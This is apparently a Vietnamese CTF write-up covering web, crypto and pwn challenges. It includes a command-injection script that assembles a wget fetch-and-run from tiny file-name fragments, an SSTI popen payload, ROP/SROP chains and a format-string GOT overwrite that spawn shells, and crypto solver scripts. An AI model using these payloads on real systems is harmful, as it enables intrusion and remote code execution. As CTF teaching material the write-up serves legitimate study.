Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com
WEB
author: n3mo
#HACKME
des của chall như sau, nó nói xạo á chứ mình test thì limit 5 char lận
tức là bài này ta có thể thực hiện command linux thoải mái với tối đa 5 character
bài này chôm idea từ 1 chall của anh da cam năm 2017
https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
mình giải thích ý tưởng như sau
sử dụng >
để chuyển hướng output nhằm tạo file đồng thời lợi dụng \
nhằm ám chỉ câu lệnh đó chưa kết thúc để có thể ghép nhiều phần của câu lệnh lại
với đoạn command trên thì ta có thể tạo được lệnh ls -t >g
sort file trong thư mục theo thời gian và cho vào file g
nếu ta tạo được lệnh đó thì liệu ta có thể tạo được 1 bash để rce thoải mái không?
câu trả lời là không, vì ls nó sort file mặc định theo thứ tự mã ascii nên ta sẽ không thể tái tạo được 1 số lệnh theo ý muốn
đoạn trên như là proof of work để mình thực hiện các lệnh tiếp theo,
dưới đây là script để solve bài này
import reimport requestsimport timefrom time import sleeppayload = [ r'>ls\\', r'ls>_', r'>\ \\', r'>-t\\', r'>\>g', r'ls>>_', r'>234' r'>:1\\' r'>99\\', '>78\\', '>56\\', '>60\\', '>21\\', r'>\ \\', '>et\\', '>wg\\', #r'>\>a', # exec r'sh _', #r'sh g', ]requests.get("http://207.180.200.166:8000/?reset=1")for i in payload: print("http://207.180.200.166:8000/?cmd="+i) r=requests.get("http://207.180.200.166:8000/?cmd="+i) sleep(0.5)r=requests.get("http://207.180.200.166:8000/?cmd=cat g")print(r.text)
sau khi chạy file, lên trình duyệt run sh g
mặc dù nó trả về 500 error nhưng ta vẫn thấy có request tới tức là lệnh thực thi thành công.
Cách 2:
mình thử nl /* thì thấy server error nhưng khi thực hiện ls lại thì thấy xuất hiện một file mới là core, chắc cái này tác giả config sai nên bị bug chỗ này
đọc file core thì search thấy flag, tức là lệnh nl /*
đã đọc toàn bộ hệ thống và cho vào file core :v
- cách 3:
idea y chang cách 1 nhưng simple hơn đó là
ghi 1 file có tên là cat sau đó sử dụng file đó để đọc tệp :v
vì trong thư mục hiện tại chỉ có mỗi file tên là cat, nên khi * thì ta có thể call được lệnh cat ra
#MAZE
vào challange thì ta thấy một login page như sau
mình thấy 1 cái đặc biệt là allTraders, nhìn qua các payload thì mình cũng biết sơ sơ truy vấn nó như thế nào
may thay gui này hỗ trợ cho mình như thế này
làm tiếp như thế 1 lúc ta sẽ được truy vấn như sau
ta có password và title, thử login vào trang lúc nãy
ngon, login thành công, bước tiếp theo mình tiếp tục fuzz
web có thêm 1 endpoint là trade, nhìn qua có vẻ giống sqli nên mình theo hướng sqli
mlem mlem, kiểu này thấy mùi server được code bằng python rồi
mà python thì thường đi với sqlite, nên mình cứ nhảy thẳng vào sqlite luôn
2 cột, oke chưa :v
chuẩn sqlite lun!
có table admin, select ra thôi ez game
ta có một endpoint là admin nên cứ thử login thôi
lul cứ tưởng done r ai ngờ :(
cần trôn u mình xem xét thì thấy.
có đoạn code sau trong script.js
var messages = [ 'Hey there ?', 'I see you made it to the admin panel', 'but still you didn\'t escape the maze', 'get the flag and beat the maze', getCurrentTime(), 'show me what you got ' + globalThis.name ]
nhìn có vẻ nghi ngờ ở đây :v , mình tiếp tục nhìn vào cookie thì thấy
vậy chắc chắn lấy name từ cookie rồi render ra như thế
liên quan đến việc render thì nghĩ ngay tới SSTI, mà đã xác định ứng dụng sử dụng python nên thẳng tiến thôi.
để làm SSTI thì first step luôn luôn là detect để chắc chắn nó có phải là SSTI không
SSTI thì mình khá quen nên mình sẽ làm nhanh đoạn này
ở đây mình sử dụng os._wrap_close
[].__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('ls').read()
đến đây ta đọc flag là end game.
Crypto
author: lttn
#factorize
Đề mình để ở đây
Ta thấy p và q đều được tạo ra bằng cách :
- p = base(1024 bit) | random number (512 bit)
- q = base(1024 bit) | random number (512 bit)
Vì base giống nhau khi tạo p và q -> 512 bit đầu của p và q sẽ giống nhau. Giá trị của p và q sẽ gần nhau nên mình dùng fermat factor để tính p và q
Solution của mình
#eazy RSA
Đề bài cho ta 4 giá trị c,e,p,q
Ta thấy e = 16 = 24
Hay nói cách khác flag được encrypt RSA 4 lần với số mũ là 2
Vậy nếu ta lấy căn bậc 2 của c modulo n 4 lần thì có thể tìm lại được flag
Để có thể tính căn bậc 2 của c mình dựa vào Rabin cryptosystem
Solution của mình
from Crypto.Util.number import *import itertoolsfrom gmpy2 import *c=3708354049649318175189820619077599798890688075815858391284996256924308912935262733471980964003143534200740113874286537588889431819703343015872364443921848e=16p=75000325607193724293694446403116223058337764961074929316352803137087536131383q=69376057129404174647351914434400429820318738947745593069596264646867332546443def square_root(c): n=p*q mp=pow(c,(p+1)//4,p) mq=pow(c,(q+1)//4,q) yp=int(gcdext(p,q)[1]) yq=int(gcdext(p,q)[2]) r1=(yp*p*mq+yq*q*mp)%n r2=(yp*p*mq-yq*q*mp)%n return list((r1,n-r1,r2,n-r2)) def solve(arr): tmp=[] for i in arr: tmp.append(square_root(i)) return list(itertools.chain.from_iterable(tmp))tmp=square_root(c)for i in range(4): arr=tmp tmp=(solve(arr))for i in arr: if b'flag' in long_to_bytes(i): print(long_to_bytes(i)) break
#Staple AES
Đề bài được để ở đây
Mỗi cần connect server trẻ trả về cho chúng ta 1 đoạn cipher
Phân tích 1 chút :
- Key và IV không đổi qua mỗi lần connect
- Mỗi lần connect các block của flag sẽ được shuffle
- Block đầu của cipher tính bằng cách lấy AES – ECB encrypt(IV) xor block đầu của flag
- flag được pad theo pkcs#7
- len(flag) % 16 ==1
Server trả về 48 bytes – > flag có 3 block -> len(flag) = 33
Từ đây ta có thể suy ra block cuối cùng của flag là : b’}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f’ ( mình đoán thế vì flag đa số kí tự cuối cùng là ‘}’ ?
Vậy giả sử block cuối cùng trong 1 lần connect nào đó được shuffle thành block đầu tiên , lúc này ta có thể tính được encrypt(IV) bằng cách lấy block cuối xor 16 bytes đầu tiên của cipher
Vậy nếu như các block khác cũng được shuffle thành block đầu tiên, ta cũng có thể dễ dàng tính được các block ấy bằng cách lấy encrypt(IV) xor 16 bytes đầu của cipher nên mình sẽ brute force để tìm lại flag
Solution của mình
from pwn import *ct=[]def byte_xor( ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])for i in range(10): p=connect('161.97.176.150' ,'3167') rev=p.recvline().decode()[:-1] rev=bytes.fromhex(rev) if rev not in ct: ct.append(rev)for cipher in ct: block1=b'}' + bytes([15])*15 encryptIV=byte_xor(block1,cipher[0:16]) for i in ct: print(byte_xor(encryptIV,i))
#delegate wallet
Đề được để ở đây
Bài này ta có thể thoải mái generate new wallet seed và nếu như ta đoán được wallet seed tiếp theo thì sẽ có flag
Thật ra bài này tác giả đã hint sẵn trong source code : prng_lcg
Ta thấy :
- state[0], m ,c là các số ngẫu nhiên
- n = pow(2, 607) -1
- state[i] = (state[i-1] * m + c) % n
Vậy :
- state[1] = state[0] * m + c mod n
- state[2] = state[1] * m + c mod n
- state[2] – state[1] = (state[1] * m + c ) – (state[1] * m + c ) mod n
- = m * (state[1] – state[0]) mod n
- -> m = (state[2] – state[1]) / (state[1] – state[0]) mod n
Lúc này đã có m ta có thể dể dàng tính c:
- state[1] = state[0] * m + c mod n
- -> c = state[1 ] – a * state[0] mod n
Đã có m và c ta có thể tính được state tiếp theo và get flag ?
Solution ở đây
from pwn import *from Crypto.Util.number import *def next_state(arr): n=pow(2, 607) -1 m = (arr[2]-arr[1])* inverse(arr[1]-arr[0],n) % n c = arr[1]-m*arr[0] % n print(f"n: {n}") print(f"m: {m}") print(f"c: {c}") return (arr[-1]*m+c)%n p=connect('161.97.176.150','4008')rev=p.recvline()print(rev)rev=p.recvline()print(rev)states=[]for i in range(3): p.sendline('1') state=int(p.recvline()[2:-1].decode()) states.append(state) print(f"state {i}: {state}") rev=p.recvline() rev=p.recvline()next_state=next_state(states)p.sendline('2')p.send(str(next_state))print(f"Next state: {next_state}")rev=p.recvline()print(rev.decode())
#Encrypt0r
Đây là 1 bài blackbox với dao diện như sau:
Đem long_to_bytes thử và tất nhiên là tạch :))) Dù biết trước sẽ tạch nhưng mình vẫn thử ?
Ta cần phải biết server encrypt thế nào trước đã mới có thể tính tiếp được ?
Sau 1 lúc mò mẫm thì mình phát hiện như sau:
Thử nhập 0 và 1 :
Mình đoán đây có thể là RSA, thử vài số thật lớn :
Có lẻ là RSA thật vì encrypt theo RSA thì c sẽ được mod n, ở đây mình nhập số lớn bao nhiu thì kết quả trả về cũng chỉ khoảng 200 bit nên mình sẽ đi theo hướng này ?
Nếu là RSA, vậy thì cái flag ở ban đầu có lẽ là c
Lúc này ta còn thiếu e và n
Ta thử nhập 2 xem sao
Chứng tỏ e cũng khá lớn , vì nếu e là các số nhỏ như 3,11,17,.. thì c đã không chạm tới được n. Vậy thì e chắc có lẽ sẽ là 65537
Việc còn lại là tìm n:
Gỉa giữ ta nhập 1 số m nào đó , lúc này :
- c = me mod n
- -> me = c + k*n
- -> kn = me – c
Nếu ta nhập 2 được c1 và nhập 3 được c2:
265537 = c1 + i*n => i*n = 265537 – c1
365537 = c2 + j*n => j*n = 365537 – c2
=> n = gcd(i*n, j*n) = gcd(265537– c1, 365537 – c2)
Vì n cũng khá nhỏ nên quăng n vào factordb thì ta có được các thừa số của n
Lúc này chỉ cần tính như RSA bình thường
PWN
Author: Quasar
#moving-signals
Phân tích cơ bản:
file:
$ file moving-signalsmoving-signals: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
checksec:
$ checksec moving-signals Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x40000) RWX: Has RWX segments
r2:
$ r2 moving-signals[0x00041000]> aaa[x] Analyze all flags starting with sym. and entry0 (aa)[x] Analyze function calls (aac)[x] Analyze len bytes of instructions for references (aar)[x] Check for objc references[x] Check for vtables[x] Type matching analysis for all functions (aaft)[x] Propagate noreturn information[x] Use -AA or aaaa to perform additional experimental analysis.[0x00041000]> afl0x00041000 1 24 entry0[0x00041000]> pdf entry0 ;-- section..shellcode: ;-- segment.LOAD1: ;-- .shellcode: ;-- __start: ;-- _start: ;-- rip:┌ 24: entry0 ();│ 0x00041000 48c7c7000000. mov rdi, 0 ; [01] -rwx section size 26 named .shellcode│ 0x00041007 4889e6 mov rsi, rsp│ 0x0004100a 4883ee08 sub rsi, 8│ 0x0004100e 48c7c2f40100. mov rdx, 0x1f4 ; 500│ 0x00041015 0f05 syscall└ 0x00041017 c3 ret[0x00041000]>
Qua công cụ r2 ta quan sát được luồng thực thi chính của chương trình. Quan sát các gadget.
Ropgadget:
$ ROPgadget --binary moving-signalsGadgets information============================================================0x0000000000041013 : add byte ptr [rax], al ; syscall0x000000000004100f : mov edx, 0x1f4 ; syscall0x000000000004100e : mov rdx, 0x1f4 ; syscall0x000000000004100d : or byte ptr [rax - 0x39], cl ; ret 0x1f40x000000000004100c : out dx, al ; or byte ptr [rax - 0x39], cl ; ret 0x1f40x0000000000041018 : pop rax ; ret0x0000000000041017 : ret0x0000000000041010 : ret 0x1f40x0000000000041015 : syscallUnique gadgets found: 9
Vì có gadget pop rax ; ret
nên ta có thể điều khiển được $rax. Mình sẽ sử dụng syscall rt_sigreturn ($rax = 0xf)
Ta sẽ đưa các fake frame vào stack và làm cho rt_sigreturn gọi syscall với các fake frame của ta. Fake frame:
- rax = 0x3b (sys_execve)
- rdi = 0x41250
- rip = 0x41015 (syscall)
Tìm địa chỉ của /bin/sh
trong chương trình:
pwndbg> search /bin/shmoving-signals 0x41250 0x68732f6e69622f /* '/bin/sh' */pwndbg>
Đã có đầy đủ payload của chúng ta sẽ như sau: payload = b'A'*8 + pop_rax + 0xf +syscall + frame.
Get flag:
File solve: exploit.py
#external
file challenge: external libc
Phân tích file:
file:
$ file externalexternal: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=06cea603bc177acf3effdea190ad8a3c88a2a7a0, for GNU/Linux 3.2.0, not stripped
checksec:
$ checksec external Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Xem mã giả bằng IDA pro:
int __cdecl main(int argc, const char **argv, const char **envp){ char buf; // [rsp+0h] [rbp-50h] puts("ROP me ;)"); printf("> ", argv); read(0, &buf, 0xF0uLL); clear_got(0LL, &buf); return 0;}
Ta dễ dàng nhận thấy lỗi buffer overflow xảy ra ở hàm read, khi buf nằm ở offset $rbp-0x32 mà hàm read lại đọc đến 0xf0. Nhưng lưu ý trong chương trình có hàm clear_got. Quan sát xem hàm này làm gì với got(global offset table):
GOT trước khi hàm clear_got được gọi:
0x403ff8: 0x0000000000000000 0x0000000000403e100x404008: 0x00007ffff7ffe180 0x00007ffff7fe85e00x404018 <puts@got.plt>: 0x00007ffff7e64550 0x00007ffff7e6b4b00x404028 <printf@got.plt>: 0x00007ffff7e44c50 0x00000000004010660x404038 <alarm@got.plt>: 0x00007ffff7eb9270 0x00007ffff7edcde00x404048 <signal@got.plt>: 0x00007ffff7e29ac0 0x00000000000000000x404058: 0x0000000000000000 0x00007ffff7fad6a00x404068: 0x0000000000000000 0x00007ffff7fac9800x404078 <completed.0>: 0x0000000000000000 0x00000000000000000x404088: 0x0000000000000000 0x00000000000000000x404098: 0x0000000000000000 0x0000000000000000
GOT sau khi hàm clear_got được gọi:
0x403ff8: 0x0000000000000000 0x0000000000403e100x404008: 0x00007ffff7ffe180 0x00007ffff7fe85e00x404018 <puts@got.plt>: 0x0000000000000000 0x00000000000000000x404028 <printf@got.plt>: 0x0000000000000000 0x00000000000000000x404038 <alarm@got.plt>: 0x0000000000000000 0x00000000000000000x404048 <signal@got.plt>: 0x0000000000000000 0x00000000000000000x404058: 0x0000000000000000 0x00007ffff7fad6a00x404068: 0x0000000000000000 0x00007ffff7fac9800x404078 <completed.0>: 0x0000000000000000 0x0000000000000000
Quan sát got ta thấy rằng địa chỉ của các hàm libc trong main đã bị xóa. Nên nếu ta điều khiển chương trình quay lại hàm main hay nhảy đến 1 hàm đã bị xóa trong got thì chương trình sẽ bị crash.
Quan sát 2 địa chỉ nằm dưới got của signal:
pwndbg> x/x 0x00007ffff7fad6a00x7ffff7fad6a0 <_IO_2_1_stdout_>: 0x00000000fbad2887pwndbg> x/x 0x00007ffff7fac9800x7ffff7fac980 <_IO_2_1_stdin_>: 0x00000000fbad208b
Thì ra đây là địa chỉ của IO_2_1_stdoin và IO_2_1_stdout.
Quan sát các gadget:
$ ROPgadget --binary externalGadgets information============================================================ .....................0x00000000004011a2 : call qword ptr [rax + 0x4855c35d]0x0000000000401014 : call rax0x0000000000401183 : cli ; jmp 0x4011110x00000000004010d3 : cli ; ret0x000000000040130b : cli ; sub rsp, 8 ; add rsp, 8 ; ret0x0000000000401180 : endbr64 ; jmp 0x4011140x00000000004010d0 : endbr64 ; ret0x00000000004012dc : fisttp word ptr [rax - 0x7d] ; ret0x0000000000401042 : fisubr dword ptr [rdi] ; add byte ptr [rax], al ; push 1 ; jmp 0x4010290x00000000004010ce : hlt ; nop ; endbr64 ; ret0x0000000000401012 : je 0x401018 ; call rax0x00000000004010f7 : je 0x401107 ; mov edi, 0x404060 ; jmp rax0x0000000000401139 : je 0x40114f ; mov edi, 0x404060 ; jmp rax0x000000000040103b : jmp 0x4010200x0000000000401184 : jmp 0x4011100x00000000004010fe : jmp rax0x00000000004011d8 : ; ret0x00000000004010f9 : mov edi, 0x404060 ; jmp rax0x0000000000401270 : mov rax, 0xe7 ; syscall0x000000000040127c : mov rax, 1 ; syscall0x00000000004010cf : nop ; endbr64 ; ret0x00000000004011d7 : nop ; leave ; ret0x00000000004011a3 : nop ; pop rbp ; ret0x000000000040116f : nop ; ret0x0000000000401143 : nop dword ptr [rax + rax] ; ret0x000000000040117c : nop dword ptr [rax] ; endbr64 ; jmp 0x4011180x0000000000401142 : nop word ptr [rax + rax] ; ret0x0000000000401168 : or ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret0x000000000040127b : or ecx, dword ptr [rax - 0x39] ; rol byte ptr [rcx], 0 ; add byte ptr [rax], al ; syscall0x0000000000401273 : out 0, eax ; add byte ptr [rax], al ; syscall0x00000000004012ec : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004012ee : pop r13 ; pop r14 ; pop r15 ; ret0x00000000004012f0 : pop r14 ; pop r15 ; ret0x00000000004012f2 : pop r15 ; ret0x00000000004012eb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004012ef : pop rbp ; pop r14 ; pop r15 ; ret0x000000000040116d : pop rbp ; ret0x00000000004012f3 : pop rdi ; ret0x00000000004012f1 : pop rsi ; pop r15 ; ret0x00000000004012ed : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040101a : ret0x0000000000401277 : syscall ..................Unique gadgets found: 106
Mình đã lọc bớt gadget hiển thị ra để WU đỡ dài. Quan sát gadget ta thấy ta có thể điều khiển được thanh ghi $rax (giá trị =0 và = 1), $rdi, $rsi và cả $rbp và $rsp nữa :)) và 1 gadget quan trọng đó là syscall.
Ý tưởng khai thác:
payload đầu tiên:
Ý tưởng khai thác:
- Đầu tiên mình sẽ đè bằng 1 địa chỉ mà mình xác định được có quyền write (mình chọn ở phân vùng .bss). Bởi vì khi lệnh leave (của hàm main) thực thi thì $rbp = address_bss mà mình đã ghì đè.
- Tiếp theo tận dụng giá trị $rax bằng 0 sẵn có mình gọi syscall read, với giá trị của
$rsi = address_bss
. Vậy tại sao mình lạ read ở address_bss? Bởi bị khi mình sử dụng gadgetmov eax, 0 ; leave ; ret
để set $eax = 0 để có thể gọi read lại thì lúc này đến lệnh leave (mình sẽ gọi là lệnh leave thứ 2)$rsp sẽ nằm tại
địa chỉ của$rbp hiện tại tức address_bss
. - Sau khi setup cho syscal read mình sẽ setup để syscall write được chạy. Lợi dụng syscall write mình sẽ set
$rsi = got_IO_2_1_stdout_
, Và fd sẽ bằng 1 tức thanh ghi$rdi
. Vậy khi syscall write chạy sẽ in ra got_IO_2_1_stdout_ và got_IO_2_1_stdin_ như mình đã đề cập trên got. Sử dụng gadgetmov rax, 1 ; syscall
để gọi syscall write - Hàm write sẽ in ra ra cho ta 2 addr của IO_2_1_stdout và IO_2_1_stdin lên trang https://libc.blukat.me/ để search libc (Nhưng mình quên là tác giả cho sắn libc). sau đó tính libc base.
- Cuối của lần nhập đầu tiên ta sẽ chạy gadget
mov rax, 1 ; syscall
cho lần read thứ 2 (tức payload thứ 3) và điều khiển $rsp về address_bss mà ta mong muốn
payload = "A"*0x50 payload += p64(bss) # $rbp """ Goi syscall read để ghi input vào bss""" #payload += p64(func_rtc) payload += p64(pop_rsi_pop_r15_ret) payload += p64(bss) payload += p64(0) payload += p64(pop_rdi) payload += p64(0) payload += p64(systemcall) """Goi syscall write để in ra addr""" payload += p64(0x4012f1) # gadget pop rsi ; pop r15 ; ret payload += p64(0x404060) # got cua got_IO_2_1_stdout_ payload += p64(0) payload += p64(pop_rdi) payload += p64(1) payload += p64(func_ws) # gadget mov rax, 1 ; syscall """Gán eax = 0 cho lần gọi read tiếp theo""" payload += p64(mov_eax_0_leave_ret)
payload thứ 2:
- Đây là lần syscall read đầu tiên mà ta cho nó nhập trên address_bss.
- Đầu tiên đây sẽ là địa chỉ mà sau khi lệnh
leave thứ 2
được gọi$rsp
sẽ nhảy tới nên ta ghì đè bằng 1 giá trị bất kỳ. - Tiếp theo mình sẽ setup ở đây 1 syscall read (gọi read lần 2) . Sau lệnh leave thứ 2 là lệnh
ret
chương trình sẽ thực thi gadget mà ở syscall read đầu tiên ta gọi. Mình sẽ gán $rsi = address_bss + 0x38 tức là sau gadget syscall để gọi read lần 2. - Bởi vì ta gọi syscall read nên ta sẽ gán $rdi = 0 tức fd = 0
payload = p64(0) # 8 byte giá trị bất kỳ ở đây payload += p64(pop_rsi_pop_r15_ret) payload += p64(bss+0x38) # tức ta sẽ ghi input nhập vào sau gadget syscall ở dưới payload += p64(0) payload += p64(pop_rdi) payload += p64(0) payload += p64(systemcall)
payload thứ 3:
- Lúc này ta đã có libc base rồi, công việc lúc này là $rdi = address /bin/sh, gọi hàm system trong libc và lên shell.
Get flag:
File solve: exploit.py
#the_pwn_inn
Phân tích file:
file:
$ file the_pwn_innthe_pwn_inn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=14fc1c701ef6aaae7b503071e34cc157ca6a2fad, for GNU/Linux 3.2.0, not stripped
checksec:
$ checksec the_pwn_inn Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
Xem mã giả bằng IDA pro:
// local variable allocation has failed, the output may be wrong!int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ ignore_me_init_buffering(*(_QWORD *)&argc, argv, envp); ignore_me_init_signal(); puts("Welcome to the pwn inn! We hope that you enjoy your stay. What's your name? "); vuln();}
Hàm này không có gì bất thường, ta đi vào hàm vuln() được gọi trong hàm main:
void __noreturn vuln(){ char s; // [rsp+0h] [rbp-110h] unsigned __int64 v1; // [rsp+108h] [rbp-8h] v1 = __readfsqword(0x28u); fgets(&s, 256, stdin); printf("Welcome ", 256LL); printf(&s); exit(1);}
Ta có thể thấy khá rõ lỗi format string ở đây. Phía dưới là hàm exit(), nên khi chạy vào hàm vuln chương trình sẽ exit ngay. Vậy thì ta chỉ cần ghì đè got của exit() bằng addr của hàm main hay vuln thì ta đã giải quyết được việc exit ngay của chương trình.
Ý tưởng khai thác
leak libc:
Nhập vào chuỗi quen thuộc:
$ ./the_pwn_innWelcome to the pwn inn! We hope that you enjoy your stay. What's your name?AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%pWelcome AAAAAAAA.0x7ffd5276ee30.(nil).(nil).0x7ffd527714b0.0x8.0x4141414141414141.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025
Ta thấy được offset mà format sting trỏ vào chuỗi ta nhập vào là 6. Truyền got của 2 hàm mà ta muốn trỏ tới sau đó dùng %s ta sẽ leak được địa chỉ của 2 hàm libc đó.
payload = " -%8$s- "payload += " -%9$s- payload += p64(got_puts)payload += p64(got_fgets)
Mình hay tra libc ở https://libc.blukat.me/. Sau đó tải libc này về.
Lên shell:
Sử dụng công cụ one_gadget tìm gadget thích hợp:
$ one_gadget libc6_2.31-0ubuntu9.2_amd64.so0xe6e73 execve("/bin/sh", r10, r12)constraints: [r10] == NULL || r10 == NULL [r12] == NULL || r12 == NULL0xe6e76 execve("/bin/sh", r10, rdx)constraints: [r10] == NULL || r10 == NULL [rdx] == NULL || rdx == NULL0xe6e79 execve("/bin/sh", rsi, rdx)constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
Mình sử dụng gadget 0xe6e76. Sau đó ta cộng gadget này với libc base, mình ghì đè got exit bằng địa chỉ vừa cộng này -> lên shell.
Get flag:
exploit.py
File solve:Cám ơn các bạn đã đọc!